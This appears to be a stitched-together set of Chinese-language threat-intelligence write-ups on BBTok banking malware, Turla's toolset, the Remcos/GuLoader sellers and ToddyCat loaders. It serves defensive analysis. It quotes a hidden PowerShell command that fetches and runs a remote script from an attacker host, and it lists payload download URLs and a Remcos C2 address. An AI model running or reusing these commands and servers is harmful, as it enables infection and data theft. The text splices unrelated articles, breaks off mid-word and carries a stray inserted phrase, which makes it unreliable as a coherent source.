所有有效載荷都使用Add-PoshObfusion函數進行模糊處理。對部分代碼的簡單搜索會從“良性”網站hackforums[.]net中得到一個結果,特別是2021年8月一位名為“Qismon”的用戶的回复,其還推薦了一些繞過AMSI和安全產品的方法,並分享PoshObfusion代碼:

7.png

在hackforums[.]net中共享的Add-PoshObfuscation()代碼

攻擊鍊和最終有效負載上面描述的過程最終導致了兩個攻擊鏈的變體:一個針對Windows 7,一個針對Windows 10。兩個版本之間的差異可以解釋為試圖避免新實現的檢測機制,如AMSI。

*ammy.dll下載程序兩個感染鏈都使用使用類似約定命名的惡意DLL——Trammy、Gammy、Brammy或Kammy。後者是BBTok加載程序的精簡和混淆版本,在執行任何惡意操作之前使用地理圍欄來阻止檢測。最後的有效負載是一個新版本的BBTok銀行程序。如上所述,BBTok附帶了多個額外的密碼保護軟件。這些漏洞允許攻擊者完全訪問受攻擊的設備和其他功能。

Windows 7攻擊鏈8.png

Windows 7攻擊鏈

Windows 7的攻擊鏈不是唯一的,它由存儲在ZIP文件中的LNK文件組成。在執行LNK文件時,使用rundll32.exe運行* my.dll負載,rundll32.exe依次下載、提取和運行BBTok負載。

Windows 10攻擊鏈9.png

Windows 10攻擊鏈

Windows 10的攻擊鏈存儲在一個包含3個組件的ISO文件中:一個LNK文件,一個lure文件和一個重命名的cmd.exe可執行文件。點擊LNK文件啟動攻擊鏈,使用重命名的cmd.exe以以下方式運行所有命令:

10.png

攻擊鏈將lure文件複製到文件夾%userprofile%並打開它。

11.png

在BBTok攻擊中釋放的Lure文件

運行MSBuild.exe,使用存儲在遠程服務器上的XML(通過SMB獲取)構建應用程序。

MSBuild.exe創建一個隨機命名的DLL,它反過來從服務器下載* my. DLL,並以重命名的rundll32.exe(mmd.exe)運行它,如XML內容所示:

12.png

dll下載程序下載、提取並運行BBTok負載

重命名CMD、MSBuild和通過SMB獲取文件的獨特組合導致Windows 10攻擊鏈很少被檢測到。

早期版本在對BBTok活動的分析中,研究人員遇到了來自有效負載服務器的多個版本的工件。我們看到PHP代碼、PowerShell腳本和其他實用程序都發生了變化。

PHP代碼的變化查看descarga.php腳本的早期版本,我們看到了一些關鍵的差異:

最初,只有來自墨西哥的受害者會成為攻擊目標。另一個有效負載服務器176[.]31[.]159[.]196的IP在腳本中進行了硬編碼。

這裡沒有直接執行PowerShell腳本,而是調用了一個名為gen.php的腳本。雖然研究人員無法獲得這個腳本,但相信它只是執行了PowerShell腳本。

使用db.php文件將受害者的IP地址、用戶代理和標誌(jaBaixou,即葡萄牙語中的“已下載”)插入數據庫中。稍後檢查該標誌,以確保不會提供相同的有效負載。

由於最新版本中未使用此部分,攻擊者可能發現此過程繁瑣,並決定用OPSEC來換取更容易的管理和更高的攻擊成功機率。

PowerShell腳本修改說明查看PowerShell腳本的舊版本,可以清楚地看到對負載和執行鏈進行了大量更改。在最早版本的腳本中,LNK只是運行一個PowerShell腳本,其參數為-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。

後來的更新添加了lure PDF,fac.PDF(“fac”是“factura”的縮寫,在葡萄牙語中是“發票”)。這是來自墨西哥科利馬縣的合法西班牙語收據。此外,Windows7受害者的有效負載啟動了一個合法的墨西哥政府網站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。

研究人員發現的最新版本打開了一個不同的合法網站hxxps://fazenda[.]gov[.]br,巴西政府網站。此版本還更改了MSBuild使用的XML文件,並將為巴西目標保留的DLL名稱從Brammy.DLL更改為Trammy.DLL。

未使用的代碼和感染媒介PowerShell腳本中的某些代碼部分未使用,服務器託管的文件不屬於我們討論的主要感染流。特別是,研究人員沒有發現任何積極使用以下內容的跡象:

ze.docx是一份利用Follina CVE(2022-30190)的文檔。 PowerShell腳本中名為CreateDoc的函數中引用了它。

CreateXLL引用的xll.xll是從開源項目中獲取的惡意xllhttps://github.com/moohax/xllpoc,通過Excel實現代碼執行。在服務器上發現了許多空的JavaScript文件,這些文件很可能被名為CreateJS的函數使用。函數b.js中引用的文件是空的,因此不清楚該函數以前是使用過還是從未完全實現過。

服務器上有多個bat文件,每個文件都有不同的下載下一階段的實現。這些很可能是由名為CreateBat的函數創建的,該函數在最新版本的PowerShell腳本中被取消掉了。它們中的大多數幾乎與我們之前分析的ByFD函數中的代碼相同,不包括過去兩次值得注意的迭代:

最舊的bat文件下載了另一個PowerShell腳本作為下一階段(該腳本不再公開),而不是編輯註冊表;

稍後的bat文件使用了fodhelper UAC繞過,而不是當前正在使用的computerdefaults繞過。

受害者分析研究人員對服務器端組件的分析也揭示了最近的一個活動,從攻擊者的角度來看,這是基於他們發現的一個數據庫,該數據庫記錄了對惡意應用程序的訪問。該數據庫名為links.sqlite,非常簡單。它包含150多個條目,所有條目都是唯一的,表頭與db.php創建的條目相對應。

chave或key;

assunto或subject;

user_agent ;

baixou或downloaded。

名為chave的列包含受害者的IP地址,而assunto列為空:

13.png

Links.sqlite數據庫

14.png

攻擊區域

由於除了攻擊者之外,任何人都不會看到服務器代碼,並且其中包含大量葡萄牙語評論,我們認為這表明攻擊者很可能是巴西人,巴西人以其活躍的銀行惡意軟件生態系統而聞名。

總結儘管BBTok目前僅在巴西墨西哥活動,但很明顯,它仍在積極開發中。由於其眾多功能,以及涉及LNK文件、SMB和MSBuild的獨特而創造性的傳播方法,它仍然對該地區的組織和個人構成威脅。

Threat-brief-r3d1.png

Turla(又名Pensive Ursa、Uroburos、Snake)是一個至少從2004年開始運行,總部位於俄羅斯的一個攻擊組織。該組織與俄羅斯聯邦安全局(FSB)有一定聯繫。接下來,我們將在這篇文章中介紹Pensive Ursa工具庫中最近活躍的10種惡意軟件:Capibar、Kazuar、Snake、Kopiluak、QUIETCANARY/Tunnus、Crutch、ComRAT、Carbon、HyperStack和TinyTurla。

MITRE ATTCK稱Turla是以其有針對性的攻擊和隱身而聞名,多年來,Pensive Ursa已經成為一個先進而難以被發現的惡意軟件。

正如MITRE所描述的那樣,Pensive Ursa已對至少45個國家發起過攻擊,包括政府實體、大使館和軍事組織,以及教育、研究和製藥公司。此外,該組織還參與了2022年2月開始的俄烏衝突。據烏克蘭CERT稱,Pensive Ursa利用間諜攻擊烏克蘭目標,特別是針對其國防部門。

雖然Pensive Ursa主要利用他們的間諜工具瞄準Windows設備,但也會攻擊macOS和Linux設備。

以下是該團隊工具庫中最活躍的10種惡意軟件。對於每種類型的惡意軟件,我們都提供了簡短的描述和分析,以及Cortex XDR如何檢測和阻止攻擊。

Capibar別名:DeliveryCheck、GAMEDAY;

惡意軟件類型:後門;

首次發現時間:2022年;

Capibar(又名DeliveryCheck,GAMEDAY)是Pensive Ursa後門,於2022年首次被觀察到,主要用於對烏克蘭國防軍進行間諜活動,通過電子郵件將其作為帶有惡意宏的文檔傳播。

Capibar通過下載並在內存中啟動負載的計劃任務而马云惹不起马云持續存在。攻擊組織將Capibar作為託管對象格式(MOF)文件安裝在受攻擊的MS Exchange服務器上,使攻擊者能夠完全控制服務器。

下圖顯示了負責加載從其命令和控制(C2)接收的XML的代碼片段,圖2顯示了觸發的警報:

1.png

Capibar代碼段加載從其C2接收的XML

2.png

Cortex XDR觸發了警報

Kazuar惡意軟件類型:後門;

首次發現時間:2017年

Kazuar是.NET後門,於2017年被首次發現。 Kazuar提供對其操作人員所針對的受感染系統的全面訪問權限,Kazuar附帶了一個強大的命令集,包括遠程加載額外插件,以增強後門功能的能力。

2021年,研究人員發現,Kazuar和俄羅斯攻擊組織在SolarWinds行動中使用的SUNBURST後門之間存在有趣的代碼重疊和相似之處。 2023年7月,烏克蘭CERT破獲了一次間諜行動,Pensive Ursa則是將Kazuar作為主要後門之一。

下圖顯示了Cortex XDR阻止將Kazuar DLL注入explorer.exe進程,下圖顯示為防止Kazuar而觸發的警報:

3.png

Kazuar被注入explorer.exe並被Cortex XDR阻止

4.png

Cortex XDR的Kazuar執行阻止警報

Snake惡意軟件類型:模塊化後門;

首次被發現時間:2003年;

正如CISA在2023年5月描述的那樣,臭名昭著的Snake惡意軟件是Pensive Ursa工具集中最複雜的工具。該工具的主要目的是實現相當長一段時間的持久性,並從專用目標中盜取數據。自2003年以來,它已經發展了20年。

Snake在全球50多個國家被發現,美國司法部發表聲明,宣布了MEDUSA行動。在該行動中,他們查獲了Snake惡意軟件活動和P2P網絡。他們使用了聯邦調查局開發的一種名為PERSEUS的工具,將其用作Snake惡意軟件的阻止攻擊。

基於先前的分析,Snake惡意軟件實現了可維護的代碼設計,這表明其開發者俱有較高的軟件開發功能。

Snake實現了以下功能:

基於HTTP和TCP的通信協議的自定義實現;

用於隱身的內核模塊;

按鍵記錄儀功能;

Snake最近的變種包括一個類似於下面描述的感染鏈。

Snake惡意軟件傳播示例執行時,Snake從其資源中加載並執行Pensive Ursa的PNG Dropper惡意軟件,並創建一個硬編碼互斥體{E9B1E207-B513-4cfc-86BE-6D6004E5CB9C,如下圖所示:

5.png

Snake loader的資源

然後,PNG釋放器解碼並加載一個易受攻擊的VM驅動程序,該驅動程序用於權限提升,以便將主Snake負載寫入磁盤,並將其註冊為服務。下圖所示的Snake加載程序變體檢測感染鏈中的多個階段,這些階段導致部署、服務註冊和執行Snake主負載。

下圖顯示了Cortex XDR中彈出的執行阻止警報:

6.png

檢測模式下Cortex XDR中顯示的Snake執行檢測

7.png

Cortex XDR中顯示的Snake執行阻止警報

QUIETCANARY別名:Tunnus;

惡意軟件類型:後門;

首次發現時間:2017;

自2019年以來,人們一直在使用QUIETCANRY觀察Pensive Ursa,Tomiris組織甚至更早地使用了這個後門。

Pensive Ursa於2022年9月便針對烏克蘭的目標部署了QUIETCANARY,以及Kopiluwak惡意軟件。

QUIETCANRY是一個用.NET編寫的輕量級後門,能夠執行從其C2服務器接收的各種命令,包括下載額外的有效負載和執行任意命令。它還實現了RC4加密,以保護其C2通信。

下圖顯示了QUIETCANRY後門功能的不同類,展示了QUIETCANRY觸發的基於Cortex XDR多層保護的警報:

8.png

QUIETCANRY代碼中不同類的代碼段

下圖顯示了執行阻止警報:

9.png

在Cortex XDR中顯示了QUIETCANRY的警報

10.png

Cortex XDR中顯示的QUIETCANARY/Tunnus執行阻止警報

Kopiluwak惡意軟件類型:傳播器/下載器;

首次發現時間:2016年;

Kopiluwak惡意軟件於2016年底被首次發現,它是由各種類型的滴管作為多層JavaScript而進行有效負載傳播的。

Pensive Ursa在2017年的一次G20主題攻勢中使用MSIL滴管釋放了Kopiluak惡意軟件,並在2022年末作為SFX可執行文件釋放。

Kopiluwak的JavaScript文件如下圖所示,下面是C:\Windows\Temp\ path下的代碼片段。其目的是收集有關受攻擊計算機的有價值的初始分析信息,例如:

在目標位置列出文件;

檢索當前運行的進程;

顯示活動的網絡連接;

攻擊者通過運行systeminfo、tasklist、net、ipconfig和dir等偵察命令來完成此活動,結果保存在名為result2.dat的文件中。

11.png

在檢測模式下,在Cortex XDR中顯示Kopiluwak執行檢測

下圖列出了由Kopiluwak執行,並由Cortex XDR檢測到的偵察命令:

12.png

Kopiluwak的偵察命令

下圖顯示了Cortex XDR為Kopiluwak發出執行阻止警報:

13.png

Cortex XDR中顯示的Kopiluak執行阻止警報

2019年,Pensive Ursa開始使用Topinambour滴管遞送Kopiluak。該組織將Topinambour捆綁到一個合法的軟件安裝程序中。

安裝後,Topinambour作為一個小的.NET文件被放到%localappdata%文件夾中,並作為一個計劃任務寫入。然後,該惡意軟件與其硬編碼的C2虛擬專用服務器(VPS)通信,以傳遞Kopiluwak惡意軟件。

14.png

Cortex XDR在檢測模式下顯示Topinambour執行檢測

下圖顯示了Cortex XDR彈出的阻止警報:

15.png

Cortex XDR中顯示的Topinambour執行阻止警報

Crutch惡意軟件類型:後門;

首次發現時間:2015年;

2020年12月,ESET研究人員發現了Crutch後門。根據Pensive Ursa的戰術、技術和程序(TTP),攻擊者利用後門攻擊了歐洲的幾個目標,包括一個歐盟成員國的外交部。

這個後門的主要目的是竊取敏感文件,並將數據洩露到Pensive Ursa運營商控制的Dropbox帳戶。使用Dropbox等商業服務進行C2通信是一種已知的(但有效的)技術,因為它是一種合法的服務,並與其他網絡通信相融合。

由於代碼和TTP與Pensive Ursa的另一個名為Gazer的後門有很大的相似性,Crutch被認為是第二階段的後門,其持久性是通過DLL劫持實現的。

下圖顯示了Cortex XDR中Crutch的檢測和阻止:

ComRAT別名:Agent.btz;

惡意軟件類型:後門;

首次出現時間:2007年

18.png

PowerShell滴管在檢測模式下將ComRAT釋放到Cortex XDR中顯示的磁盤

ComRAT是Pensive Ursa最古老的後門之一,他們在惡意軟件的早期迭代中將其命名為Agent.btz。

據報導,ComRAT於2007年首次被發現。從那時起,它進行了多次升級,截至2020年,ComRAT已經迭代了4版。此攻擊是在C++中開發的,攻擊者已使用PowerShell植入(如PowerStalion)進行部署。

下圖顯示了PowerShell滴管機制。攻擊者在使用ComRAT時的主要目的是從高價值目標那裡竊取和洩露機密文件:

19.png

Cortex XDR中顯示ComRAT PowerShell滴管執行阻止警報

下圖描述了Cortex XDR中的PowerShell和DLL執行阻止:

20.png

Cortex XDR中顯示的ComRAT DLL執行阻止警報

Carbon惡意軟件類型:後門;

首次發現時間:2014年

Carbon是一個模塊化後門框架,Pensive Ursa已經使用了幾年。 Carbon框架包括一個安裝程序、一個協調器組件、一個通信模塊和一個配置文件。

Carbon還具有P2P通信功能,攻擊者使用該功能向受網絡上影響的其他受感染設備發送命令。 Carbon通過使用Pastebin等合法網絡服務提供商接收C2的命令。

下圖顯示了Carbon在Cortex XDR中的執行檢測和阻止:

21.png

Carbon創建了一個加載附加組件的服務,該服務在檢測模式下顯示在Cortex XDR中

22.png

Cortex XDR中顯示的Carbon執行阻止警報

HyperStack惡意軟件類型:後門;

首次亮相:2018年;

HyperStack(又名SilentMo,BigBoss)是一個RPC後門,於2018年首次被發現,攻擊者在針對歐洲政府實體的行動中使用了它。 HyperStack使用一個控制器進行操作,該控制器使用命名管道通過RPC與受HyperStack感染的受攻擊環境中的其他計算機進行通信。此通信方法使攻擊者能夠控製本地網絡上的計算機。

HyperStack顯示了與Pensive Ursa的Carbon後門的幾個相似之處,如加密方案、配置文件格式和日誌記錄約定。

下圖顯示了HyperStack在Cortex XDR中的檢測和阻止:

23.png

HyperStack創建了一個用於持久性的服務,在檢測模式下顯示在Cortex XDR中

24.png

Cortex XDR中顯示HyperStack執行阻止警報

TinyTurla惡意軟件類型:後門;

首次發現時間:2021年;

TinyTurla惡意軟件於2021年被Talos首次發現,他們認為這是第二階段的後門。美國、歐盟和後來的亞洲目標都發現了這種後門。

TinyTurla的主要功能包括:

下載其他有效負載;

向攻擊者的C2服務器上傳文件;

執行其他進程;

如下圖所示,攻擊者通過批處理腳本將後門安裝為名為WindowsTimeService的服務。批處理腳本還負責將C2服務器的數據寫入註冊表。一旦後門被執行,它讀取這些值將與其C2通信。

它偽裝成一個名為w64time.DLL的DLL,位於system32文件夾下。

25.png

上面描述的批處理腳本的內容

雖然w32time.dll是一個合法的DLL,而且其他合法的DLL確實有32位和64位的變體,但是合法的w64time.dll並不存在。這種命名慣例旨在進一步分散受害者的注意力,使他們不產生懷疑。

下圖顯示了Cortex XDR檢測批處理腳本、W64Time服務和TinyTurla DLL執行的編寫和執行:

26.png

Cortex XDR在檢測模式下顯示TinyTurla阻止

27.png

Cortex XDR中顯示TinyTurla執行阻止警報

戰術、技術和程序(TTP)Cortex XDR警報被映射到MITRE ATTCK框架,並提供與攻擊相關的戰術和技術信息,如下圖所示:

28.png

Cortex XDR的Mitre ATTCK映射

Pensive Ursa相關活動和工具庫在Cortex XDR中引發了多個警報,這些警報被映射到表1中引用的MITRE ATTCK戰術和技術。

29.2.png

MITRE ATTCK戰術和技術

總結眾所周知,Pensive Ursa高級持續攻擊(APT)組織是一個重要且持續存在的攻擊組織。憑藉其先進的技術,其運營組織在針對全球行業的同時,也向大眾展示了一種先進的規避方式。

我們在本文探索了Pensive Ursa工具庫中排名前十的惡意軟件,並通過Palo Alto Networks Cortex XDR監測了其執行過程。這表明針對先進攻擊使用多層保護模式的重要性。

因為Pensive Ursa APT攻擊的受害者可能會造成重大損失,其後果不僅限於財務損失和數據洩露,還包括影響關鍵基礎設施的可能性,這可能會對國家安全和地緣政治產生影響。因此,每個組織,無論其規模或行業如何,都必須優先考慮全面的安全戰略,並投資多層安全措施,以防範Pensive Ursa等APT組織日益增長的攻擊。

保護和緩解措施Palo Alto Networks Cortex X

微信截图_20230930000731.png

惡意軟件經常將自己偽裝成合法工具,最近比較有代表性的例子是Remcos RAT(遠程管理工具)和GuLoader(也稱為CloudEyE Protector),他們在最流行的惡意軟件排名中佔據榜首位置。

1.png

Remcos和GuLoader在十大惡意軟件中的排名

由於Remcos很容易被殺毒軟件檢測到,因此很難用於攻擊,然而,GuLoader可以用來幫助Remcos繞過殺毒軟件。目前,GuLoader現在在與Remcos相同的平台上以新名稱銷售,並被包裝成為一種加密器,使其有效負載完全無法被檢測到。此外,監督該平台的管理員還管理BreakingSecurity網站,該網站是Remcos RAT和相關Telegram通道的官方網站。有證據表明,銷售Remcos和GuLoader的個人使用Amadey和Formbook等惡意軟件,並使用GuLoader作為預防措施,與Remcos和GuLoader賣家相關的域名和IP地址出現在惡意軟件分析報告中。

Remcos和GuLoader的賣家清楚地意識到他們的工具被攻擊者所利用,儘管他們聲稱自己是無辜的。研究人員最終曝光了負責出售Remcos和GuLoader的個人,揭露了他們的社交網絡,並揭示了通過這些非法活動產生的大量收入。

GuLoader 和Remcos的關係GuLoader於三年多前被發現,其是一個高度保護的基於shellcode的加載器,它採用了許多技術來防止手動和自動分析。此外,在最近的樣本中,通過使用.LNK文件、VBS和PowerShell腳本,利用了來自遠程服務器的代碼片段的多階段加載,這些技術的結合允許GuLoader樣本在VirusTotal上實現零檢測率,並將任何惡意負載傳遞到受害者的計算機上。

2020年,研究人員曝光了一個通過securitycode.eu 銷售CloudEyE的平台,它與GuLoader有關,這迫使創建者暫停運營。在他們的網站上,他們發布了一條消息,稱他們的服務旨在保護知識產權,而不是傳播惡意軟件。

2.png

幾個月後,他們的網站恢復了CloudEyE的銷售,不久之後,研究人員在監測中觀察到新的GuLoader攻擊數量增加,以及新版本的出現。目前,研究人員每天會監控到數十個新的GuLoader樣本。

3.png

過去6個月每天涉及GuLoader的攻擊次數

在之前關於最新版本GuLoader的分析中,研究人員故意省略了CloudEyE和新版本GuLoader之間的任何联系,因為他們觀察到GuLoader在名為“VgoStore”的網站上以另一個名稱“The Protector” 傳播。事實證明,VgoStore與Remcos密切相關。

Remcos是一款著名的遠程監控工具,其營銷目的是為了合法的跟踪和監控。自2016年出現以來,研究人員一直在許多網絡釣魚活動中監測Remcos,除了典型的遠程管理工具功能外,Remcos還包括一些不常見的功能,如中間人(MITM)功能、密碼竊取、跟踪瀏覽器歷史記錄、竊取cookie、密鑰記錄和網絡攝像頭控制。這些功能超出了RAT的典型範圍。

在黑客論壇上的CloudEyE廣告消失後,研究人員開始在互聯網上尋找有關CloudEyE Protector的信息。在谷歌搜索結果的第一頁,研究人員發現了一個Utopia項目網站的鏈接,其中CloudEyE Protector被列在“商家”部分,就在BreakingSecurity (Remcos RAT的官方網站)之後:

4.png

BreakingSecurity和CloudEyE在Utopia網站上的廣告

研究人員還注意到,在2022-2023年,Remcos樣本的數量幾乎佔能夠識別惡意軟件家族的所有成功解密GuLoader有效負載的四分之一。

5.png

確定的GuLoader有效負載

換句話說,在過去的一年裡,Remcos已經成為使用GuLoader傳播的最常見的惡意軟件。如上所述,這不是巧合。

VGO TheProtect——GuLoader的新產品Remcos的營銷和銷售最初是在黑客論壇上進行的,後來在一個名為BreakingSecurity[.]net的專門網站上進行銷售。從2022年開始,人們可以在另一個名為VgoStore[.]net的網站上找到Remcos的銷售,VgoStore在@BreakingSecurity_Group Telegram群中被宣傳為Remcos的官方經銷商,該組織由暱稱為“EMINэM”的版主(用戶名@breakindsecurity, @emin3m, @Break1ngSecurir1ty)運營:

6.png

“EMINэM”在BreakingSecurity Telegram群發布的VgoStore廣告

在VgoStore,除了breakingsecurity的Remcos,你還可以找到一個完整的惡意傳播包和初始訪問工具包,如“Excel 和Doc 漏洞”,LNK漏洞,RDP帳戶,專用DNS,加密器等。這些工具被標記為“教育”。

在這些工具中,研究人員注意到了TheProtect(Private Protect服務):

7.png

除了@BreakingSecurity_Group Telegram群之外,“EMINэM”還為VgoStore維護了一個名為@VgoStore_Group的Telegram群。在這些群中,每當用戶要求提供加密服務時,“EMINэM”和另一位管理員“VGO”就會推送TheProtect,同樣值得注意的是,在一條消息中,“EMINэM”提到TheProtect是一個幫助Remcos繞過Windows Defender (WD)的工具:

8.png

TheProtect在BreakingSecurity和VgoStore Telegram群中的廣告

與此同時,在BreakingSecurity Telegram群中,管理員似乎試圖與惡意活動保持距離,稱他們只提供了一種將Remcos列入殺毒白名單的方法,而不是繞過保護。與VgoStore群相反,在VgoStore群中,TheProtect被宣傳為提供“運行時FUD”的服務,即在執行樣本時完全無法被殺毒軟件檢測到:

9.png

VGO和“EMINэM”在BreakingSecurity和VgoStore Telegram群中發布的消息

TheProtect有兩種保護方式:Private Protect和Script Protect。

10.png

protect保護方法

根據VgoStore官網顯示,Script Protect提供的文件為VBS文件,而不是EXE文件。

“Private Protect”一詞可能具有誤導性,因為它可能給人一種印象,即每個客戶都收到了一個獨特的工具。然而,在進一步檢查VgoStore的Telegram群和YouTube頻道中的視頻後,很明顯有兩種類型的加密服務可用:一種基於NSIS (Nullsoft Scriptable Install System),另一種基於VBS (Visual Basic Scripting)。

研究人員懷疑這與最常見的GuLoader變體相似,其中一個是VBS變體,另一個是NSIS變體。

Script Protect是非常昂貴的,在30天內,4個受保護文件的售價為7000美元,對於Script Protect和Private Protect,他們都聲明“研究人員保留最多3天的時間來提供受保護的軟件。”這讓研究人員認為保護過程並不是完全自動化的,這意味著購買者可能不會收到自動生成受保護文件的構建器,就像CloudEyE的情況一樣。

Protect VBS變體正如研究人員之前所寫的,VgoStore會在Telegram群@VgoStore_Group發布產品更新,客戶可以獲得支持。在這個群組中,管理員經常發布演示其產品功能的視頻。

11.png

VgoStore Telegram群

在該組織於2023年3月5日發布的一個視頻中,用戶@VgoStore演示了使用偽裝成PDF的LNK文件進行攻擊。

12.png

在VgoStore Telegram群中發布的視頻

在這個視頻中,研究人員看到點擊LNK文件會導致新的進程“eilowutil.exe”啟動一個與遠程服務器“84.21.172.49:1040”的TCP連接。在啟動LNK文件之前,視頻顯示所有Windows Defender功能都已啟用,並且Windows Defender在整個執行過程中沒有引發任何警報。

視頻提供了被測試樣本的重要細節,使研究人員能夠恢復完整的攻擊鏈。在01:13處,研究人員可以簡單看到process Hacker顯示的powershell.exe進程的命令行,這使研究人員能夠識別本視頻中演示的樣本(SHA256:c914dab00f2b1d63c50eb217eeb29bcd5fe20b4e61538b0d9d052ff1b746fd73),並使用行為搜索查詢在VirusTotal上找到它:

13.png

視頻中演示的進程命令行使研究人員能夠在VirusTotal上找到一個相關的樣本

當研究人員下載腳本時,研究人員發現它類似於研究人員在文章《基于云的恶意软件传播:GuLoader的演变》 中描述的GuLoader的VBS變體。與研究人員在上一篇文章中描述的版本的唯一區別是,shellcode以base64編碼的形式嵌入VBScript中,然後放入註冊表中:

14.png

存儲在註冊表中的base64編碼加密數據

VBScript的另一部分包含有兩層混淆的PowerShell腳本。該腳本包含在視頻截圖中觀察到的字符串,用於識別此惡意樣本($Tjringernes=, Diu;DyrFAttuEncnNatcWootLobiLsioReknUnd):

15.png

部分VBS包含混淆的PowerShell腳本

在去混淆之後,研究人員得到了以下代碼:

16.png

去混淆PowerShell腳本

這段代碼從註冊表加載base64編碼的數據,使用CallWindowProcA API函數解碼並運行它,方法與基於《云的恶意软件传播:GuLoader的演变》 中描述的相同。該代碼的前645個字節沒有被加密,並且包含解密器的代碼,其餘的數據包含加密的shellcode。

研究人員用於自動分析惡意樣本的工具將加密數據識別為GuLoader,並成功解密shellcode,包括GuLoader配置、下載有效負載的URL和有效負載解密密鑰:

17.png

解密後的GuLoader配置

截止發文,URL“hxxp://194[.180.48.211/nini/EAbsGhbSQL10. html”“Aca”仍然活躍。因此,研究人員能夠下載最終的有效負載(SHA256 7bd663ea34e358050986bde528612039f476f3b315ee169c79359177a8d01e03),他們使用從GuLoader shellcode中提取的密鑰來解密它。解密後的樣本似乎是Remcos RAT(SHA256 25c45221a9475246e20845430bdd63b513a9a9a73ed447bd7935ff9ecee5a61e)。

18.png

GuLoader攻擊鏈的恢復部分

研究人員從這個Remcos樣本中提取並解密了CC配置,發現它包含一個CC服務器的地址“84.21.172.49:1040”:

19.png

解密後的Remcos CC配置

最後,使用最初找到的GuLoader VBS樣本“Leekish.VBS”的“VirusTotal Relations”選項卡,研究人員還發現了下載該文件的URL:“hxxp://194.180.48.211/nini/Leekish.vbs”。這個地址也在視頻中被披露:

20.png

下載在VirusTotal上找到的初始VBS樣本的URL

視頻(第00:45幀)中展示的另一個有趣的社會工程技巧是操縱LNK文件,攻擊者誤導用戶相信它是PDF文檔。即使用戶懸停在LNK文件上,工具提示也會顯示“Type: PDF Document”;此外,如果用戶雙擊LNK文件,它實際上會打開一個誘餌PDF文件,而惡意進程會在後台靜默運行。

這是通過以下簡單步驟實現的:

1.文件擴展名更改為“.pdf.lnk”,利用默認情況下隱藏的文件擴展名。

2.LNK描述被修改為顯示“PDF文檔”,利用了Windows顯示快捷方式描述字段內容的事實。請注意,工具提示中顯示的大小與實際文件大小不同。工具提示顯示“Size: 7.11Kb”,取自快捷方式的Description字段,而文件大小實際上是3Kb。

3.圖標源已更改為顯示PDF圖標。

4.LNK文件還下載並執行一個誘餌PDF文件。

21.png

偽裝成PDF文檔的LNK文件

研究人員在VirusTotal上發現了一個LNK文件(SHA256:63559daa72c778e9657ca53e2a72deb541cdec3e0d36ecf04d15ddbf3786aea8),該文件引用了上述URL,並包含完全相同的Description字段:

22.png

解析後的LNK文件

此惡意快捷方式文件利用Windows System32文件夾中存在的合法腳本SyncAppvPublishingServer.vbs的功能來運行任意PowerShell命令。命令行參數包含用於下載和運行惡意腳本“Leekish.vbs”和PDF誘餌的PowerShell命令,msedge.exe文件中的PDF圖標用作快捷方式圖標。

因此,研究人員已經恢復了視頻中展示的完整攻擊鏈,並確定了大部分涉及的文件和組件。視頻中提到的“Script Protect文件”似乎是Remcos RAT,其CC服務器位於“84.21.172.48:1040”。研究人員將保護程序確定為GuLoader的VBS版本:

23.png

VgoStore Telegram群視頻中顯示的完整攻擊鏈

這個攻擊鏈類似於研究人員從GuLoader之前的攻擊中看到的,RedCanary博客中也有描述,這個VBS和LNK樣本特別有趣,因為研究人員在去年(2023年2月)發現了針對註冊會計師和會計師的攻擊。

保護NSIS變體VgoStore還有一個YouTube頻道。 2023年4月12日發布的視頻“Lnk Exploit”與研究人員上面分析的視頻非常相似。演示者下載一個包含LNK文件的文檔並運行此LNK文件。如視頻所示,同時安裝了所有最新的Windows更新,並啟用了安全功能。與前面的情況一樣,如果研究人員在2分11秒處暫停視頻,就可以看到由於運行LNK文件而創建的powershell.exe進程的命令行。

24.png

包含URL的命令行

上面屏幕截圖中的process命令行包含2個URL,截至發文時,這兩個URL都是活動的,這使研究人員能夠下載這些文件。

25.png

其中一個示例是一個誘餌PDF,第二個示例是NSIS安裝程序包

SL_featured_ToddyCat-1200x600.jpg

ToddyCat是一個相對較新的複雜APT組織,卡巴斯基研究人員最早在2020年11月檢測到該組織的活動,當時該威脅組織正在對目標的Microsoft Exchange服務器進行一系列攻擊,去年的一篇文章曾描述過它。

之後,該組織於2020年12月開始活動,並對歐洲和亞洲的知名對象發動了多起攻擊。

在去年,我們發現了一組新的全新加載程序,並收集了有關其開發後活動的信息,這使我們能夠擴展對該組織的了解,並獲得有關攻擊者的TTP(戰術,技術和程序)的新信息。接下來,我們將描述他們的新工具集,用於竊取和洩露數據的惡意軟件,以及該組織用於橫向移動和進行間諜活動的技術。

工具集標準的加載器加載程序是64位庫,由rundll32.exe調用,或者用合法的和簽名的可執行文件進行側加載,這些組件在感染階段用於加載Ninja木馬作為第二階段。我們已經看到了這些新加載器的三種變體:

1.png

第一個變體的文件名為update.dll或x64.dll,通常使用合法的rundll32.exe Windows實用程序加載,大多數惡意代碼駐留在DllMain中,但下一個階段是通過導出的Start函數調用的,其他兩個變體應該與合法的VLC.exe媒體播放器一起加載,這被濫用來加載惡意庫。

加載程序通過從同一目錄中應該存在的另一個文件加載加密的有效負載來啟動其活動,然後使用異或對加載的數據進行解碼,其中異或項是使用一種不尋常的技術生成的。惡意軟件使用靜態種子(static seed)通過shuffle和add操作生成256字節的XOR_KEY塊。

2.png

使用另一個嵌入的64字節IDX塊作為索引再次對生成的XOR_KEY塊進行改組,以獲得特定的256字節XOR鍵,XOR密鑰用於解密文件內容,並將結果值加載到內存中。

Update A和VLC A在其進程地址空間中加載下一階段,解密的有效負載應該是一個庫,該庫導出具有特定名稱的函數:“Start”或“_”,具體要看變體。

變體VLC B創建一個新的wusa.exe (Windows Update Standalone Installer)進程,這是一個位於System32目錄下的合法Windows程序。然後,它將解密的有效負載注入遠程進程地址空間的地址空間,並使用CreateRemoteThread函數運行它。

定制的加載程序調查時,我們注意到在攻擊某些目標時,攻擊者用另一種變體替換了標準加載程序,我們稱之為定制加載程序,因為加密文件是為特定係統量身定制的。

該代碼與標準加載器變體VLC a類似,主要區別在於加密文件的位置和文件名(%CommonApplicationData%\Local\user.key

)以及用於獲取最終有效負載的解密方案。使用上面提到的相同算法,其中使用XOR_SEED生成256字節的XOR_KEY塊,然後使用另一個嵌入的64字節IDX塊將其混合,在混合兩個塊之前,惡意軟件會收集PhysicalDrive0的存儲屬性,從而獲得硬盤的型號。

3.png

用於獲取存儲屬性的代碼片段

